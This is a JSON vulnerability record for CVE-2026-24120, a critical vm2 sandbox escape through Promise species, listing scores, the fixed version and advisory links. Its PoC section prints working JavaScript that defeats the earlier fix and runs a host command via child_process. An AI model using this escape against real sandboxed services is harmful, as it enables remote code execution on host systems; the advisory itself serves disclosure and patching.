{"id":"CVE-2026-24120","aliases":["GHSA-qvjj-29qf-hp7p"],"url":"https://o3.security/vulnerability/CVE-2026-24120","summary":"vm2: Sandbox Breakout Through Promise Species","details":"### Summary\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 introduced the function `resetPromiseSpecies` https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/setup-sandbox.js#L35C7-L39.\nThis function changes the `species` property of promise objects back to a known value. However, it uses the function `[].includes` and `Object.defineProperty` which can be overewritten to prevent the species from being changed.\n\n### PoC\n\nThe following code demonstrates this issue by aquiring the host process object and executing `touch pwned`.\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nvm.run(`\nObject.defineProperty=()=>{};\nasync function fn() {\n    const e = new Error();\n    e.name = Symbol();\n    return e.stack;\n}\np = fn();\np.constructor = {\n    [Symbol.species]: class FakePromise {\n        constructor(executor) {\n            executor(\n                (x) => x,\n                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }\n            )\n        }\n    }\n};\np.then();\n`);\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.","published":"2026-05-04T16:31:13.639Z","modified":"2026-10-28T02:31:06.455944037Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.00896,"percentile":0.56862,"asOf":"2026-08-21"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"vm2","fixedVersion":"3.10.5"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/v3.10.5"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24120.json"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-24120"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/24xxx/CVE-2026-24120.json"},{"type":"ADVISORY","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-qvjj-29qf-hp7p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24120"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2466529"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:31:06.455944037Z"}}